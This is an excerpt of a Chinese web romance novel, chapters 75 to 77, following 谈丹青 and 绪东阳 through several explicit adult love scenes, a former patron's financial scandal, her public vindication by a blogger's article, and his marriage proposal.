她睁开了雾蒙蒙的眼睛:“怎么,怎么这么鼓……你,是攒了多少?” “你说呢?”绪东阳却反问她,语气里有点兴师问罪的意味。 “我?我又怎么会知道。”谈丹青故意装不知道,指尖缓缓往下拉动拉.链。绪东阳在她耳畔发出沉沉的闷/闷的声音,这声音很好听,让她好有成就感,仿佛被她折磨得快没有办法了。 这一下午不知是怎么过去的。第一次还稍显温存。多用手和嘴,互相给对方欢愉。到达制高点后的感觉也温和而绵长,如暖流静静流淌。绪东阳的手很对她的xp,手指很长,又灵活,骨节分明,尤其是上面有很厚的茧,粗粝感强。她喜欢这种粗犷和野性,所以她尤其喜欢抓着他的手,摸到那指节上的茧,会让她更加高兴。 越到后面,场面便越不受控制,到了第三次几乎弄了大半天,绪东阳有点受不住的凶,好像把她当成了一块豆腐,一定要捏碎。他还非常霸道,蛮横不讲道理。最后的时刻人哪里还有意志,甚至都迷糊了,可他却不允许她在最后关头放开他的手,一定要紧紧将他抓着。如果松开了,他就会生气,会弄得更厉害。 他还会用手指撬开她的唇,像读唇语一样让她将所有感觉都告诉他。他还会不停地跟她告白,有时候是说“我喜欢你”,有时候是逼着她也说“我也喜欢你”。 谈丹青一开始是不愿意说的,被逼得没办法,只能哑着声音说。她说了好几次,以为会有所缓解,没想到犹如在剧烈燃烧的火堆里浇上了一壶烈油。 像一面拉满了弓被挂在了墙壁上。 她高高举起双臂,手按住墙。 月要像桥一样往下塌。 他迫使她离开她温和的舒适圈,和自己一头扎进更加暴风雨里。 那是一个更加梦幻动人的另一个世界。 一片尖锐的白茫茫的光。 如漫步云端天堂。 “我喜欢你。” “我喜欢你。” “我爱你。” 她每说一句,他便重复。 一个人真的能这么喜欢一个人吗?怎么能这么喜欢呢?快成一种顽疾。 等结束的时候,天黑透了。两人平躺在地板上,谈丹青的膝盖跪出了一团青,看起来好可怜。绪东阳将她的月退抬起来,有一搭没一搭地轻轻扌莫。谈丹青想发难,却看见绪东阳脖颈上那一排吓人的红印,又觉得自己理不直气不壮,就此作罢。 “让我看看有没有受伤。” “没有的。” 绪东阳将她翻了过来,仔细检查她身上有没有伤口,尤其是偏内部的位置,幸好只是有些红,但没有流血。月要一直被他抱着,也没有被碰青。 他的检查,慢而仔细,难免会生出别的意味。 很舒适,叫人犯懒。 “疼。”她故意吓他。 他真以为她有伤倒,忙起身抱她。 她便哈哈大笑:“逗你的。” “以后真不能这样了。”进入贤.者时间后,谈丹青痛定思痛,“太荒废时间。” “怎么是荒废时间,”绪东阳单手枕在脑后,说:“这才是发挥时间的最大价值。” “你就是个妖妃。”谈丹青总结。 为了缓解浪费一下午加一晚上只做了这一件事,谈丹青假模假样地抱来画册画了两笔。黄色废料是第一生产力,她唰唰就画了两张小黄车,她在画,绪东阳搂着她在身后看,特意指出她的一处错误:“这里。” “嗯?结构不对?” “不是,但你只画了我的一根手指。” “怎么了呢?” 绪东阳意味深长地看着她。 谈丹青脸发烫,说:“你太坏了啊……” “是你太厉害了。吃很多。” 谈丹青直接用画册打他。 打来打去,就像擦火柴。 一下就又勾起了火苗。 谈丹青坐在上方,微微低头。 乌黑的头发瀑布一般垂下来。 她捧住他的脸,吻他的眼睛,眉骨。 真的能这么喜欢一个人吗? 她若有所思。 这时扔在地上的手机震得移位。 谈丹青要接电话,绪东阳说:“别管。” “这可不行啊,”谈丹青安抚地碰了碰他的脸颊,说:“可能是郑芳。” 她下来,接通电话,“喂,怎么了?” 就听郑芳大声说:“丹青,你现在快跟我说实话。”她的语气火急火燎,仿佛有什么非常严重的事。“你……你后来有跟魏繁星再联系吗?” 房间安静,郑芳的声音尤为清晰。一听到魏繁星的名字,绪东阳便一口咬在了她的肩膀上。不是假模假式卿卿我我的咬,而是恨得咬,差点咬下来她的一块肉。 绪东阳是真的挺恨魏繁星。 都这种时候了,还恨他恨得牙痒痒。 谈丹青几乎眯起了眼睛,忙抿住嘴唇,才没发出奇怪的声音。 “没有。” “真没有?” “真没有。” “那……你当时出事的时候,有拿魏繁星的钱么?”郑芳的语气尤为严肃,“千万跟我说实话。” 当时的局面,郑芳猜测她可能拿过魏繁星的钱也不是无端指责。谈丹青说:“没有。当时他的确有提议过给我钱,但我拒绝了。” 绪东阳继续咬她。 然后又在咬重了的地方轻轻打着圈儿舐。 “吁……那就好那就好……”郑芳说:“魏繁星那边出事了,他涉嫌做空股市套现几十个亿,兜不住了,现在正在到处查人。” “什么……” “如果当时拿了他的钱,那就真的什么都完了。别说公司又要没,还要进去。” 谈丹青不可思议地说:“这么严重?” “当然,”郑芳说:“你以为他们那种人,什么事做不出来?魏繁星也挺狠的,出事后他就各种撇清关系,还拿了不少钱给他的那些情人,她们还以为魏繁星是出手大方,实际上就是推她们出去顶包。” “那,他会进去吗?”谈丹青问。 “他怎么可能进去,”郑芳觉得谈丹青的话天真得可笑,说:“看他最后推谁出来坐.牢吧。幸好幸好,你没碰他的钱。” “是啊……” 挂了电话,谈丹青还心有余悸。 她紧紧抱着绪东阳的脖子,两个人额头贴着额头。 “你在想他吗?”绪东阳盯着她,突然问。 “谁?” “魏繁星。” “当然没有。”谈丹青说。 “那你在想什么?” 谈丹青叹了口气,说:“我在想我自己。” “自己?” “对,”谈丹青说:“当时我差一点点就想拿他的钱了,真的就只是那一念之差。是靠自己走一条更难的路,还是靠别人,收下无价的礼物。幸好,我选对了。” “是。”绪东阳说:“而且,你还有我。” “对,”谈丹青咯咯笑了起来,说:“我还有你。” 【作者有话说】 双手合十。 [让我康康][让我康康][让我康康] 76 第76章 ◎余生不见◎ 谈丹青背着绪东阳查了许多关于魏繁星的新闻。 魏繁星犯的事,她其实毫不意外。当初魏繁星带着她参加酒会时,他们那些人的态度就是这么的高高在上。 在他们眼中,那些为了生存每日奔波一分一厘攒钱的普通人,是活该被他们踩在脚底下的蝼蚁。他们的血、泪,比不上他们手上一块熠熠生辉的劳力士烟鬼手表。 几名算是她和魏繁星共同的朋友,在知道谈丹青和这件事完全无关后,跟她透露了些内幕: “姓魏的还挺狠的,他其实很早以前就收到了风声,一直在想办法把手上的脏钱洗出去。他故意送了他好几个小情人几套房,那群傻逼还以为是真爱呢。结果现在都要进去坐牢,到处找人哭……” 经过调查,最后承担所有责任的人是吕力鼎。新闻上说,是吕力鼎借用职务之便,进行利益输送,在公司上市其间做空股价,谋取巨额利益。 新闻甚至刊登了一张吕力鼎被捕的照片,他如一只掐住脖子的惊鸟,满脸错愕地看向镜头。 谈丹青恨吕力鼎当初对她赶尽杀绝。她那会儿多惨啊,被全网骂得体无完肤,但亲眼看到吕力鼎锒铛入狱,她又不仅没有大快人心的喜悦,反而有一种物伤其类的悲哀。 本质上,吕力鼎跟她才是同一类人。 没有背景、没有资源,只是吕力鼎选择依附更高更大的树,而她选择做自己的树。 第二天清早,谈丹青告诉绪东阳她要去见个朋友,实际上却去了一趟看守所。 吕力鼎案子还没判,暂时收监在看守所。 她在会面室坐了一会儿,就见吕力鼎被一名狱警押了出来。 他头发理了,剃成了圆寸头。谈丹青这才发现吕力鼎的头骨有些特别,他耳后的一块骨头很方,以前因为有头发遮挡,不大看得出来。 他整个人的气质和气场也变了。以前他看她,甚至不愿抬一抬眼皮,只用一条眼缝,居高临下地睨。而现在,因终日惶恐,兢兢战战,他的背变得有些驼,看人眼睛讨好地往上翻,气质也消沉下去,灰沉,沉,雾蒙蒙的。 吕力鼎应该是完全没料到,来探望的人竟是谈丹青,看到她时,猛地瞪了下眼。 两人面对面坐下,吕力鼎将戴着手铐的双手放在膝上,在椅子上摇了摇,最后撇了撇嘴,说:“怎么是你来?” 谈丹青看着他,目色平静,说:“来看你笑话的。” 吕力鼎先是愣住,半晌后,咧嘴苦笑起来。 他抬起戴着手铐的手,摸了摸短短的寸头,又低下头,眼皮颤抖,不再看她。 “你在外面的家人,有要我帮忙的吗?”谈丹青问。 吕力鼎缓缓抬起头,怔愣地看着谈丹青,然后张了张嘴,莫名其妙地说了一句:“出事后,没人来看过我。” “如果没有的话,那就算了。” “没有,”吕力鼎说:“我跟我老婆离婚了,孩子归我老婆。” “哦。” “当初我真觉得你挺傻逼的。”吕力鼎说:“现在……我才发现原来我是傻逼。” 谈丹青站起身,椅子被拉出一声刺耳的噪音,“如果没有什么需要我帮忙的话,那我就先走了。” 那名狱警回到吕力鼎身后。 吕力鼎也站起身。 “如果可以的话,”他说:“帮我喂一下狗吧。我家是密码锁,密码……” 从看守所出来,谈丹青便去了吕力鼎家。 出事后,他家就被查封了。门上贴了封条,还有人泼油漆,红色的油漆看起来像血,血淋淋的几个大字:“还我血汗钱”。 他的那只狗自然没人管,早跑不见了。 谈丹青在他小区里找了一会儿,倒是见到了不少流浪狗,不知哪只是吕力鼎养的。她将买好的狗粮用一只小铁碗装好,悄悄放在他家门口。 * 绪东阳是下午两点半的火车,余下的几个小时,似乎用来说话太过奢侈,只就想不停地拥抱、接吻,尽量让身体的所有皮肤贴合在一起,汲取彼此身上的体温和味道。 谈丹青懒洋洋地沐浴着窗外透亮的晨光,下巴舒服地搁在交叠的手臂上,两条小腿向上弯起,随意地在光线中轻轻晃。单薄的白色夏被快掉到在了地上,只在她身上盖了一个小角,露出白皙的背脊,后腰往下凹的一道线条。 她闭着眼睛,挂住绪东阳的耳机听歌。 钢琴声在耳膜中流淌,有一种沁人心脾的感觉。 “你歌单挺好听的。”谈丹青说:“我以前还以为你只听老土的歌。” “谁说的。”绪东阳从她背后拥过来,吻落在她的肩头。 他的嘴唇很车欠,略微有些湿润的潮意,像绒毛般的扫过她的皮肤。 “见完朋友了?” “嗯。” “你朋友是男的女的?” “是人妖。”谈丹青哈哈笑,将绪东阳扑倒。 两人在床上打了个滚,先是她在上面,但很快她又滚到了下方。 绪东阳用手指在她肩和后背上弹琴,指尖轻重不一地往下压,带来细微的痒。这种微妙的感觉,仿佛是某种乐章的前奏,唤醒着她小月复里渴求的小虫,她下意识缩了缩肩,呼吸短促。 她摘下一只耳机,塞进绪东阳的耳朵里。 于是他们两人的世界被一根黑色的耳机线链接在了一起。 绪东阳的世界,充满她世界的声音。 在流淌的音符中,他将她抱了起来,抬起月要,缓缓分开。 “要听着歌做吗?”谈丹青平躺着,四肢舒展,声音发颤。 绪东阳俯身吻了吻她的额头。 用缓慢而简单的行动,有力地回答了她。 这种感觉很一开始的确很美妙。 仿佛两种奇妙的韵律重叠在一起。彼此的身体变成了一面鼓,拍击出动听的鼓点,和着耳机空灵的音符,编织成一曲华丽的乐章。 每次月要部的摇摆,都像在和音乐一同起舞、律动,大脑中敏锐的神经也被那一枚枚跳动的音符不断刺激。极致的欢愉一层又一层叠加,视觉、听觉、触觉,每一层又从他们相连接的位置扩散开来,冲上乐章的顶点。 到最后,谈丹青已经听不清歌了,乐曲被阵阵嗡嗡的耳鸣所取代。 被撞得支离破碎。 她的世界忽地如雪地,一片寂静无声。 只有天空上方,绪东阳那双凝视着她的漆黑深邃的眼睛。 结束后,谈丹青的心情终于从探监后的失落里平复了许多。 她躺在绪东阳怀里,手指在他胸口画图。 一会儿是五角星,一会儿是桃心。 绪东阳将她的手抓了过去,然后一根根咬她的手指。 余下时间去车站其实也充裕。 但如果继续待在家里,难免又要擦枪走火一发不可收拾。 谈丹青便说:“要不别在床上赖着了。我们干点别的。” 绪东阳便提议说:“我带你跑步。” “什么?”谈丹青满脸不可思议,她觉得自己一定听错了。世界上怎么会有这么可怕的对话。刚做完这么激烈的运动,然后再去跑步??? 她捏着绪东阳的下巴,说:“你刚刚在说什么?你再说一遍。” 绪东阳俯身吻了吻她脸颊,说:“跑步,我带你跑。之前不是说好的。”他捏了捏她腰上的软肉,说:“帮你强身健体。” 谈丹青闭上眼睛,然后缓缓拉起被子,蒙住头,将身体缩成一团,说:“幻听……一定是幻听。” 这是什么魔鬼体力。 “别在被子里闷着,”绪东阳将她从被子下拖了出来,说:“不跑步散散步也行。” “累。”谈丹青犯懒,不愿意动,便被绪东阳一把捞了起来。她被推进了卫生间,绪东阳往她嘴里塞了挤好牙膏的牙刷。 “不刷。” “不刷脏。” “你才脏呢。” 他便就着满口薄荷味的泡沫亲她,“好,不脏。” 看到绪东阳淡色的嘴角被沾上白色的泡沫,谈丹青涨得脸通红,咬着牙刷,闷声闷气地说:“恶不恶心啊……” 跑步是不可能跑的,一步都不可能跑。 于是最后变成牵着手散步。 一路上看看花看看草,看阳光普照,看清风拂面。 碰到溜猫溜狗的,就停下来撸一把玩。 舒服又惬意。 绪东阳去北京后,江城的车就带不走。他给车加满了油,然后将车钥匙给她。让她这几天随便开着玩。谈丹青挺喜欢开车(各种意义上),便乐不可支。 开车去火车站不过一个钟头,到了车站,距离检票进站还有一会儿,两人坐在轿车车厢里等待。 而等的时间,又是接吻。 贴了防窥膜的车窗一降,外面的人看不见里面发生了什么,里面的人却能看见听见外面。在这方逼仄昏暗的空间里,亲得昏天黑地。 谈丹青搂着绪东阳的脖子,将脸埋在他颈窝处,深深吸了一口气,仿佛要吸饱他身上最后一口气息,然后抬手在他宽厚的后背上拍了拍,说:“好啦好啦,没事儿啊。” 绪东阳用鼻尖碰了碰她的鼻尖,贴着她的额头上:“我到了之后给你打电话。你要接。” 谈丹青摸了摸他的颧骨,嗤笑道:“瞧你这话说的,你哪次电话我没接?你说啊。” 绪东阳收拢环抱她的手臂,迫使她完全靠在自己的胸膛上。他盯着她,话里有话地说:“我怕这次我给你打电话会占线。” 谈丹青还是语气轻松,说:“占线?谁敢占你的线啊?” “这事儿谁知道。”绪东阳意味深长地说:“有人落风尘了,要是跑来跟你哭一哭,你动恻隐之心怎么办?” “嗯?嗯?嗯?” 谈丹青这下总算听明白了,她忍不住地笑,抓了抓绪东阳的头发,说:“这又是哪年的陈年老醋啊。” “不闹了,说正经的。”绪东阳攥紧了她的手,将她的一整个包裹住,然后放在了自己的腿上,按着搓了两把,温热的指腹带着一种无意识的占有欲。 “你难道没发现,你总是忍不住去照顾人?这就是心太软,见不得人受苦,看到阿猫阿狗了,都要喂点剩饭给它们吃。以前,我可怜,你才让我借住进你家里。魏繁星他以前站在高处,但现在跌下来了,你看他那样,要是也心疼他怎么办。” 这话本身有一股茶味儿。 但绪东阳是咬着牙在说,于是茶味儿变成了威胁。 好像在强迫她不许同情其他狗子。 谈丹青听得一愣一愣的:“尽胡说八道啊。” 绪东阳:“。” 谈丹青:谁说我喜欢你是因为你比较可怜,我喜欢你明明是……” 绪东阳:“是什么?” “是因为你比较帅。”指尖故意刮着他的颧骨和眉骨,谈丹青咯咯直笑。 听完绪东阳非但没松开她的手,反而将她拉得更近了些。拇指带着点研磨的力道,在她的手背上重重蹭过,然后放在唇边碰了碰,说:“那我倒是放心了。我这张脸,一时半会还毁不了。但他,只会一年比一年老,一年比一年丑。”他恶毒地说。 谈丹青哭笑不得,说:“好好好。” 又腻歪了一会儿,谈丹青看了表,说:“真得下车了,再不下车要晚了。” 绪东阳拉开车门下车,他扶着车门,又说:“待会儿我进站的时候,你看着我。” “看你?”谈丹青有些没听懂。 “对。”绪东阳说:“看着我进站。” 谈丹青没太当回事,催促道:“我哪次没有看着你进站了?快进去吧。真要晚了。” 绪东阳这才推着行李箱往里走。 他穿着简单的T恤和长裤,推着那个熟悉的黑色行李箱,在熙熙攘攘的人潮中,那背影显得异常清晰,阳光从巨大的玻璃穹顶倾泻而下,将他周身勾勒出一圈朦胧的光晕,仿佛独自融入了一片属于她的明亮的光里。 谈丹青透过车窗看他渐渐远去的背影。 这个动作真的不需要刻意想着记着去做,她每次送他走的时候,都是这样的。 这时,已经快要淹没在人群中的绪东阳回过身,也望她,然后隔着人潮朝她挥了挥手。谈丹青眼睛亮了亮,抬起了手。 难道他每次进站后都会这样转过身找她? 谈丹青抿了抿嘴唇,压下止不住往上扬起的嘴角。 * 绪东阳走后,将房子和车都留给了她和谈小白。谈丹青本来是马上也要走,但因为魏繁星出了事,留在江城的人脉要重新洗牌,不得不多待了几天,参加几场饭局认识朋友。 要么东风压过西风,要么西方压过东风。 魏繁星这边出事后,关于谈丹青的正面宣传才终于能够重见天日。 这天晚上,一篇关于谈丹青的人物采访稿莫名其妙的火了。 这篇稿子叫《我眼中的谈丹青》。 博主在稿件中写道:“……我第一次写谈丹青是在一年半之前,那时我想做一个在互联网冲击下实体业的采访。我邀请了许多人,但大部分邮件发出去都石沉大海,谈丹青是为数不多回复我的人。 “……我们约在一家咖啡厅见面,相谈甚欢。采访结束后,我将初稿发给她,她只提了一个要求,就是要将最后一段描写她原生家庭的内容删除。原因是,她不喜欢被人同情。这大概就是从始至终贯穿了谈丹青人生的底色:坚韧独立。” “……在她最饱受非议的时候,我写了很多为她澄清的文章,但这些文章全部被严重限流,无法走进大众的视野。其实网络上关于她的传言均属不实。她的母亲很早去世,父亲为了躲债抛弃了她和她弟弟;她的男友仅比她小四岁,他们认识的时候,对方已经成年。” “……我不知道这篇文章发表后是否依然会面临限流,但这一次,我选择不再沉默。我写下这些字句,不是为她辩白,而是为真相发声。 我眼中的谈丹青,她的勇敢,是独自穿越漫漫长夜时点亮的火把;她的坚强,是无数次被生活重击后,依然选择从瓦砾中站起,拍拍尘土,继续前行的姿态;她的自信,并非源于傲慢,而是源自于对自身价值最清醒的认知和最执拗的守护。 她是在绝境中奋力生长的野草,根须深深扎进土壤,却始终向着阳光,绽放出独属于自己的青翠。 我想送上我最深、最真的祝福:谈丹青,愿你前路再无遮蔽的阴霾,愿你心中的灯火长明,照见你本就璀璨夺目的未来。你值得拥有这世间所有的美好。” 这篇稿件发出后,其实只是被一些一直关注谈丹青事件、或对之前网络暴力存疑的读者默默转发、点赞。 评论区里,开始零星地出现一些不同的声音: “文章里写的,感觉更接近真实?之前那些传言确实有点太夸张了……” “要求删掉原生家庭那段,这性格,确实是tdq会做的事。” 之前骂谈丹青骂得太狠,很多人酝酿了逆反心理,沉默的大多数开始发声,理性讨论当年事情的真相。 “我就说!当时就觉得事情没那么简单!一个能把品牌做得那么好的人,怎么可能像网上说的那样不堪?” “谈丹青就是这个牌子的灵魂,看看把她逼走了以后‘丹心’成了什么样子!就是一坨!!!” “质量这么好,还是国产,被黑成这样,哎资本、哎做局、哎……” …… 讨论的热度如同滚雪球般迅速扩大,质疑、愤怒、同情、以及对过往盲从的懊悔,各种情绪交织在一起,汇成一股强大的声浪。之前骂得有多狠,此刻反弹的力度就有多大。 公司后台数据和舆论热度同时出现了一个几乎成直线的上升趋势,再次大爆单。并且这一次爆单比以前任何一次能量更大,他们甚至不用给mcn公司抽成,进账每分钱,全是他们的。 这件事像梦一样。 谈丹青的手机响个不停。 祝福的、加单的、讨好的…… 但谈丹青几经起落,这会儿反而更冷静了。 别人骂她的时候,她是她。 别人捧她的时候,她还是她。 回广东的前一晚,谈丹青特意约博主见了面。她为她准备了一份不算昂贵但很真心的小礼物,一只刻有博主logo的定制限量版键盘:“一点心意,真的很谢谢你。” 博主眼睛弯了起来,连忙摆手:“哎呀,真不用这么客气的!能帮到你,看到真相被大家看见,我也特别高兴!而且说真的,这篇文章反响这么好,也给我带来了很多意想不到的关注呢!” 两人相视一笑。 她们聊起文章引起的反响,聊起网络生态,也聊起未来的打算。 临别时,博主忽然认真地看着谈丹青,眼中闪着光,像是许下一个郑重的诺言:“我们约定好不好?十年后,我再采访你一次。十年后的谈丹青,和十年后的‘丹青’,会是什么样子呢?” 谈丹青心头一暖,被这份真挚的期许打动。 她用力点头:“好,一言为定!” 谈丹青目送着博主的身影融入夜色,才转身走向酒店大堂的方向,准备离开。 就在这时,她意外地在酒店富丽堂皇的大堂里,遇到了一个人。 “魏总。” “魏总您好。” “魏总这边请……” 昂贵的大理石地面光可鉴人,空气里浮动着名贵香水与金钱堆砌出的疏离气息。 魏繁星正被一小群人簇拥着,站在大堂中央那盏最璀璨的吊灯之下。 他裁剪精良的西装勾勒出依旧挺拔的身形,头发打理得一丝不苟,脸上是惯常的、带着几分倨傲的意气风发。 他将手臂随意地搭在身边人的椅背上,与人谈笑风生,姿态松弛而笃定。头顶的光,洒落在他身上,仿佛天生带着光环。 看到魏繁星的那一刻,谈丹青心中掠过一丝荒谬感。 是不是这个世界太小了? 所以才能这么巧心里想着谁,就意外碰到。 但当头顶巨大的水晶吊灯折射出的冰冷的光,在晃动中落入她眼睛时,她又如梦初醒。这里是江城最高级的酒店,本就是他的王国,他的狩猎场,在此处遇见他,是猎物误入了猎人的领地,偶然中的必然。 即便经历了波折,从魏繁星的身上其实看不出一丝一毫的消沉和疲态。 他依然是那么意气风发,光彩照人。 他无需眉梢紧缩,惶惶不可终日,因为自有家室为他背书,自有平头百姓为他坐牢,自有傻子为他割肉供奉。 但在谈丹青此刻澄澈如镜的眼底,魏繁星身上那曾让她目眩神迷的“光环”如同被戳破的肥皂泡,无声无息地消散在冰冷的空气里。 魏繁星看起来…… 不过是一个保养得宜、穿着昂贵、被众人恭维着的普通男人。 那些曾经让她心头一荡、仰望崇拜的特质,不过是她将自己对世俗意义上的优越感的向往,投射在了他的身上。 仿佛是某种无形的感应,就在谈丹青注视着魏繁星时,魏繁星也倏然抬眼。 两人的视线,隔着喧嚣的人群和浮动的光影,在空中猝然相撞。 魏繁星也看到了她。 她看见他眼底有一丝一闪而过的、极其复杂的情绪。 也许是惊愕,也许是探究,也许还有不易察觉的狼狈和羞愧? 但那情绪快得如同幻觉。 紧接着,他像是被她的目光烫到一般,极其自然地、流畅地移开了视线。他侧过头,对着身边的人更加热络地交谈起来。人群中爆发出一阵有钱人特有的哄笑。 他们两人如同两条相交线。 在这一刻相交。 然后余生再也不会相见。 【END】 77 第77章 ◎我只想你。◎ 回学校后,绪东阳把律师资格证考了,在这之后再没别的事,他便坐火车去广东给谈丹青公司帮忙。谈丹青重新捡起笔来,继续画。 绪东阳的办法真起了些作用。她先是只将画给绪东阳看,绪东阳绝不会挑刺打压,三百六十度夸她。她渐渐有了更多信心,开始发在小号上,粉丝们也在评论区留言夸她。 于是,耳边的声音少了,她能再次进入心流里,一画起来就不管日升日落,朝朝暮暮。当然,除了设计图,谈丹青也没放下画小黄车。 赶上天气好,两人就在广东瞎逛。 拐进佛山老城某条骑楼街,挑家门头古旧、茶色风扇吱呀转的凉茶铺子。两人挤在老式小方桌前,点一碗真材实料的陈皮绿豆沙,一定是现熬出沙,带陈皮的香,慢悠悠地用勺子搅着。看骑楼廊柱下行人匆匆,听隔壁桌阿伯用粤语大声“倾计”。 咸水湖是珠江的入海口,那儿的水不是纯粹的绿,它带着珠江裹挟而来的泥沙,浸润了海潮的盐津,在午后的阳光沉淀出一种奇异的、类似琥珀的光泽。风掠过,湖面百鳞闪烁,如银鱼出海。 谈丹青拖着绪东阳的手穿过原生红树林,来到了湖畔码头。 空气宛若水洗,泛着水草的腥。 脚下泥沙柔软,仿佛行走在童话中的蜂蜜糖浆里。 绪东阳租下了一只小船,划到湖中后就不划了,两人就仰面躺在小船里,任那小船在湖面上漂。 小船摇摇晃晃,两人肩膀挨着肩膀,合眼睡着了。 等再睁眼,天色已暗,头顶星星出没。 谈丹青眯着眼睛望天,心中满是感慨:“好美。太美了!” 绪东阳在她身旁枕着单手手臂,也仰望天幕:“醉后不知天在水,满船清梦压星河。” “好美的诗。”谈丹青眉眼弯弯,说:“那我也要写一首。” “怎么写?” 谈丹青双手合十,装若认真思考,然后笑盈盈地朝天张开双臂:“一山丹青压东阳。” 绪东阳哑然失笑,倾身吻她。 谈丹青将他推倒,振振有词:“是我压你!”手指穿过他乌黑的发尾, 那触感微凉,像穿过一片被暮色浸透的丝绒。发丝在指缝间无声地缠绕、垂落。在月色中,短暂地镀*上一层透明的银,旋即又沉入浓郁的墨黑。 她俯身去细看他的眼睛,虹膜边缘在逆光里晕开一圈极幽微的灰蓝。远方,是城市的天际线,一种被暑气蒸腾过的、疲惫的靛蓝,正缓慢地向墨色过渡,明亮的星辰悬浮在辽阔却空洞的蓝色幕布上。 她不由自主地把绪东阳这双映着草尖摇曳残光、吸纳了她所有倒影的瞳孔,和浮泛遥远的星空对比。最终得出结论——还是绪东阳的眼睛更胜一筹。 她故意咬了一口他的耳朵,声音朦胧地说:“回去。” * 两人玩了好几天,最后还是被谈小白抓到。 “我是不是你亲弟啊?我跑东跑西、闯南闯北赚钱,你就养小白脸。重色亲弟!”谈小白哭诉。 他的哭几分真委屈,还有几分是对绪东阳没化解的恨意。他虽原谅了绪东阳,但如果让他真看见他姐和他整天卿卿我我,还是窝了一肚子的火。 谈丹青说:“我的锅,我带你出去吃饭。” 谈小白不依不饶:“你得请我和我女朋友吃饭。我要在饭桌上腻歪死你们。” “女朋友?”谈丹青眼睛都亮了,立马从绪东阳臂弯里坐了起来,“吴欣然也来了呀,你不早说!” “咳,”厚脸皮谈小白也有不好意思的时候。 “好。”谈丹青说:“好好好。” 谈小白又咳了一声,说:“你把那谁,也带上吧。” 谈丹青说:“行。” 谈小白恶狠狠地说:“让他付钱。” 挂了电话,绪东阳又将谈丹青拖了回去。谈丹青在绪东阳怀里找了个更舒服的位置,说:“小白明天和他女朋友吴欣然一起回来。他让你明天也去。” “好。” “你怎么想的?”谈丹青说:“愿意去?” “当然,”绪东阳无所谓地耸了耸肩,说:“我毕竟是他姐夫。” “哈哈哈哈,”谈丹青笑得快摔倒了,说:“宝贝,这话真的别让他知道。” 绪东阳捉住她的手就将她拖进被子里。 第二天一早,谈丹青被绪东阳从被子里拽出来。谈丹青睡眼惺忪地靠着绪东阳站在洗手池,她揉着眼睛说:“喂,打个商量,以后关爱关爱老年人成吗?” 绪东阳已在牙刷上挤好牙膏,两指捏上她的脸颊,让她张开嘴,然后将牙刷伸进去刷牙。 他的手指会碰到她的唇和牙尖,这件很简单的事,因他过于专注地注视,显得尤为阴湿。 “含着。” “对,咬住。” 绪东阳不知说这些话的时候,有没有想歪。 反正谈丹青是想得歪到不能再歪。 她干脆咬了一口他的手指,“我自己来!” 两人收拾妥当,跟谈小白发了消息确定时间和地点。等他们到时,谈小白和他女朋友还没到。 谈小白订的位置是一家热门融合川菜馆的包厢,谈丹青刚落座,就听到门外说话声,“往这边走啊,不是梅花厅,是百合厅。” 紧接着一抬头,就看到谈小白和吴欣然两人打打闹闹地进来。 “姐姐好。”那女孩大大方方地喝谈丹青打招呼。 “欣然,快,过来坐。” 吴欣然又看向谈丹青身侧的绪东阳。来之前的路上,她已经听谈小白诽谤了绪东阳一路。在谈小白口中,绪东阳就是一个色易熏心、厚颜无耻、阴险狡诈的小白脸,只字未提绪东阳长得多帅。吴欣然明显有些惊讶,回头冲谈小白挤眼睛,然后说,“这位是姐夫吧。” 此言一出,屋里三个人神色各异。谈丹青心里咯噔了一下,绪东阳眉尾上扬,明显对这一称呼很是受用。 谈小白则脸都黑了,在吴欣然背后翻了一个巨大的白眼。 “行了行了,还吃不吃啊,快坐下吧。” 这家上菜很快,不一时就上齐了菜,都是这家店的网红款。水煮牛肉、麻婆豆腐、双椒牛肉和两份时令小炒蔬菜。吃饭时自然要聊未来的打算。吴欣然后面打算考公,谈小白说:“她考广东的,我们都打算留在广东。” “绪东阳,你呢?你毕业了什么打算?”谈小白充满敌意地挑衅绪东阳。 其实这个问题谈丹青其实已经在尽量避免。她信奉三小时加八公里定律,即:不提前担忧三小时之后,和八公里之外的事。她觉得,无论绪东阳后面怎么打算,他们总会想出办法解决。 绪东阳说:“我证已经拿到了,暂时挂在了我学长在广东的分所,等毕业就来广东。” “噗……”谈丹青一口水差点呛到。绪东阳其实还没跟她说过。 谈小白也吃了一惊,喃喃:“你……你来真的啊……” 绪东阳没再为自己辩驳。 他觉得任何语言,都比不上行动。 谈丹青往谈小白碗里夹了一大筷子他最厌恶的青菜,说:“快吃吧,吃不胖你。” 吃完饭后,谈小白和女朋友牵着手蹦蹦跳跳地走了。 “还挺可爱的。”谈丹青感慨。 想来绪东阳也没比谈小白大多少,怎么绪东阳就成熟这么多?他更像少年系的爹。想到这里,谈丹青忍不住转身要逗他。 绪东阳不知何时慢了她一步,于是她回身后,两人正面对着面。绪东阳神情严肃,薄唇微微抿着,似是有什么很重要的话要对她说。 “怎么了?”谈丹青不由有些紧张,“是什么事?” “谈丹青,”绪东阳轻轻吸了口气,“刚刚吃饭的时候,我说的话不是在开玩笑。我想过我们的未来。” 谈丹青愣住。 周围有人经过,男帅女美,都忍不住回头好奇地观望。 “什么?”谈丹青还没反应过来。 绪东阳从左边口袋里掏出一只墨绿色绒布小盒子,托在掌心。 “我草啊。”谈小白当街大骂了一句。 每当他以为下限到这儿了。 学神都会身体力行地告诉他,不,他的下限还能更低。 “他他妈的到法定年龄了没有啊!” 谈小白气得算数都不会算了,掏出手机按计算器。 “我草啊,他还真到了。” 绪东阳比他大一岁,上个月刚好满22。 谈丹青再迟钝,也不至于还想不到绪东阳要做什么。 已经有人在吹口哨。 谈丹青脸涨得绯红,“你这是要做什么。” 绪东阳拉着她的手,谈丹青吓得连忙拉住他,捂着脸说:“你别这样啊,真的好多人。” “这是同意了?” “嗯,同意、同意……”谈丹青含含糊糊地说,她的心跳得飞快。她一直对浪漫这玩意儿有点过敏,戒指、玫瑰、月亮……太肉麻了吧。她真受不了了,她觉得比起精致脆弱的东西,她更是野草。但野草也不会厌恶被人保护、被人珍重的感觉。 手指上一圈微凉在渐渐往上推,最后圈住了她的指根。 她挪开捂脸的眼,好奇地瞧了瞧。 无名指上,就这么多了一枚闪亮的环。 “金的?”谈丹青说。 一般求婚戒指都会用铂金或者阴制,觉得黄金的首饰更偏向老年人口味。绪东阳这是真觉得她“老”? “嗯,”绪东阳:“黄金是硬通货,保值。” 谈丹青噗嗤笑了起来,说:“我也是这么觉得的。” 绪东阳牵她的手。 两人手交叠在一起。 谈丹青问:“你的没有吗?” 绪东阳露出一丝为难的神色,手握拳抵在唇前磕了一声,说:“咳,另外一只的钱暂时还没有攒够。” 他之前以为两人和好还要更多的时间,于是先花钱买了车。 